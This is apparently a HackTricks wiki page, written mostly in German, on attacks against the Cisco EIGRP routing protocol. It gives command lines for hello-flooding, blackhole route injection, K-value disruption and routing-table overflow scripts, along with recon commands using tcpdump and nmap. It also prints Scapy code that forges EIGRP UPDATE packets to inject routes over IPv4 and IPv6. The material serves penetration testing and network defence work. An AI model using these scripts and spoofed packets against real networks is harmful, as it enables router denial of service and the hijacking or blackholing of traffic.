EIGRP Attacks
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Dies ist eine Zusammenfassung der in https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 dargestellten Angriffe. Siehe den Artikel für weitere Informationen.
Fake EIGRP Neighbors Attack
- Ziel: Router-CPUs durch Fluten mit EIGRP HELLO-Paketen zu überlasten, was potenziell zu einem Denial of Service (DoS) führen kann.
- Tool: helloflooding.py script.
- Ausführung:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
- Parameter:
--interface: Gibt die Netzwerkschnittstelle an, z. B.eth0.--as: Legt die EIGRP AS-Nummer fest, z. B.1.--subnet: Legt das Subnetz fest, z. B.10.10.100.0/24.
EIGRP Blackhole Attack
- Ziel: Den Netzwerkverkehr stören, indem eine falsche Route injiziert wird, was zu einem Blackhole führt, in das der Verkehr an ein nicht existierendes Ziel geleitet wird.
- Tool: routeinject.py script.
- Ausführung:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
- Parameter:
--interface: Gibt die Schnittstelle des Angreifers an.--as: Definiert die EIGRP AS-Nummer.--src: Setzt die IP-Adresse des Angreifers.--dst: Setzt die IP der Ziel-Subnetz.--prefix: Definiert die Maske der Ziel-Subnetz-IP.
Abusing K-Values Attack
- Ziel: Kontinuierliche Unterbrechungen und Neuerstellungen innerhalb der EIGRP-Domäne zu erzeugen, indem veränderte K-values injiziert werden, was effektiv zu einem DoS führt.
- Tool: relationshipnightmare.py script.
- Ausführung:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
- Parameter:
--interface: Gibt die Netzwerkschnittstelle an.--as: Definiert die EIGRP AS-Nummer.--src: Setzt die IP-Adresse eines legitimen Routers.
Routing Table Overflow Attack
- Ziel: CPU und RAM des Routers durch Fluten der Routingtabelle mit zahlreichen falschen Routen zu belasten.
- Tool: routingtableoverflow.py script.
- Ausführung:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
- Parameter:
--interface: Gibt die Netzwerkschnittstelle an.--as: Definiert die EIGRP AS-Nummer.--src: Setzt die IP-Adresse des Angreifers.
Protocol Notes Useful for Attacks
- HELLO packets carry K-values and neighbors only form when they match. Dies ist die Grundlage für K-value mismatch/relationship disruption Angriffe und erklärt, warum nicht übereinstimmende K-values Adjazenz verhindern.
- The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, daher offenbaren passive Aufzeichnungen die exakt auf dem Segment verwendeten Werte.
- EIGRP uses IP protocol 88, multicasting to 224.0.0.10 in IPv4 and FF02::A in IPv6. Das macht es einfach mit
tcpdump 'ip proto 88 or ip6 proto 88'zu erkennen, bevor man aktiven Missbrauch versucht. - Reliable UPDATEs are ordered with sequence / acknowledgement fields and SEQUENCE TLVs. Blindes multicast route injection kann in schwachen Laboren funktionieren, aber wenn man einen echten Nachbarn emuliert, muss man oft
seq,ackund die Peer-Liste, die in SEQUENCE TLVs getragen wird, verfolgen, um mit der RTP-Logik synchron zu bleiben.
Passive Recon Before Injection
Bevor Sie versuchen, Routen einzuspeisen, zeichnen Sie einen legitimen HELLO / UPDATE-Austausch auf und extrahieren Sie:
- AS number
- K-values and Hold Time from the PARAMETER TLV
- Authentication in use: none, MD5, or HMAC-SHA-256
- Neighbor source address and the subnet/interface where EIGRP is active
- Software / TLV profile (
SOFTWARE_VERSION,STUB,SEQUENCE) damit Ihre gefälschten Pakete wie die lokalen Router aussehen
Nützliche Befehle:
# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'
# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery
# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100
Nmap’s broadcast-eigrp-discovery funktioniert, indem es ein HELLO an 224.0.0.10 sendet und die zurückgegebenen UPDATE-Pakete parst, was nützlich ist, um Präfixe zu ermitteln, bevor ein invasiverer route injection-Versuch unternommen wird.
Scapy Packet Crafting (Route Injection / Fake Neighbors)
Scapy enthält eine EIGRP contrib layer mit TLVs wie EIGRPParam und EIGRPIntRoute, die ausreichen, um UPDATEs für route injection zu konstruieren. Beispiel adaptiert aus dem davidbombal/scapy EIGRP route injection script:
from scapy.all import *
load_contrib("eigrp")
sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))
Dasselbe repo enthält schnelle “fake neighbor”-Skripte, die ein reales EIGRP-Paket sniffen und es mit einer spoofed source IP erneut abspielen, um Phantom-Nachbarn zu erzeugen (nützlich für CPU-/neighbor-table pressure).
Scapy exposes außerdem Primitiven, die nützlich sind, wenn man eine höherwertige Emulation statt eines einzelnen UPDATE benötigt:
EIGRPAuthDatafür authenticated adjacenciesEIGRPSeqfür sequence / conditional-receive handlingEIGRPStubum beobachtetes Stub-Verhalten zu spiegelnEIGRPv6IntRoute/EIGRPv6ExtRoutefür IPv6 route injection
Das ist wichtig, weil die reliable transport-Logik oft unterscheidet, ob etwas ein wegwerfbarer PoC bleibt oder ein fake neighbor wird, der lange genug überlebt, um Routen zu lernen und die Topologie zu poisonen.
EIGRP für IPv6
EIGRP für IPv6 ist eine separate address-family, die über IPv6 transportiert wird. Es verwendet weiterhin das EIGRP-Paketformat / TLVs, wird aber direkt auf Interfaces aktiviert und multicastet an FF02::A. Aus offensiver Perspektive bedeutet das, dass ein Dual-Stack-Segment eine EIGRP-Angriffsfläche exponieren kann, selbst wenn die IPv4-Seite sauber aussieht.
Wichtige Unterschiede:
- IPv6 EIGRP ist per Interface aktiviert (
ipv6 eigrp <as>), nicht mit IPv4-typischennetwork-Statements. - Eine Router-ID ist weiterhin erforderlich, daher offenbart sniffing eines aktiven Segments normalerweise genug Kontext, um einen gültigen Peer zu imitieren.
- MD5 authentication existiert für EIGRP für IPv6, und moderne named-mode-Deployments können auch HMAC-SHA-256 verwenden, was unauthenticated route injection blockiert.
Minimales Scapy-Beispiel für IPv6 route injection:
from scapy.all import *
load_contrib("eigrp")
send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")
Wenn der IPv6 next hop innerhalb des route TLV auf null gesetzt ist, fallen Empfänger auf die IPv6-Quelladresse im Paketheader zurück. Das macht source spoofing und korrektes link-local addressing während EIGRPv6-Tests besonders wichtig.
- Scapy EIGRP contrib-Dokumentation: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
- Beispiel-Skripte: https://github.com/davidbombal/scapy
Routopsy & NSE-Helfer
- Routopsy baut ein Virtual-Router-Angriffs-Labor (FRRouting + Scapy) auf und enthält DRP-Angriffe, die Sie für EIGRP-Tests anpassen können. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
- Nmap’s NSE verfügt über eine kleine
eigrp-Bibliothek zum Parsen/Erzeugen eines Subsets von EIGRP-Paketen. https://nmap.org/nsedoc/lib/eigrp.html
Authentifizierungsrecherche
- EIGRP named mode unterstützt HMAC-SHA-256 authentication via
authentication mode hmac-sha-256 .... Wenn aktiviert, müssen manipulierte Pakete mit dem korrekten Schlüssel authentifiziert werden; wenn nicht aktiviert, ist das Validieren von spoofing/injection einfacher. - RFC 7868 definiert außerdem sowohl MD5 als auch SHA2-256 authentication data innerhalb des EIGRP AUTH TLV, weshalb passive captures schnell zeigen, ob ein blind spoof realistisch ist oder ob Sie zuerst key material benötigen.
- Bei EIGRP für IPv6 unterstützt Cisco außerdem MD5 authentication with key chains. Wenn mehrere keys mit send/accept lifetimes konfiguriert sind, wird das Replaying von veraltetem authenticated traffic weniger zuverlässig, da sich der aktive key drehen kann, ohne den Rest des Adjacency-Profils zu ändern.
References
- https://www.rfc-editor.org/rfc/rfc7868.html
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_eigrp/configuration/15-mt/ire-15-mt-book/ire-sha-256.html
- https://nmap.org/nsedoc/scripts/broadcast-eigrp-discovery.html
- https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


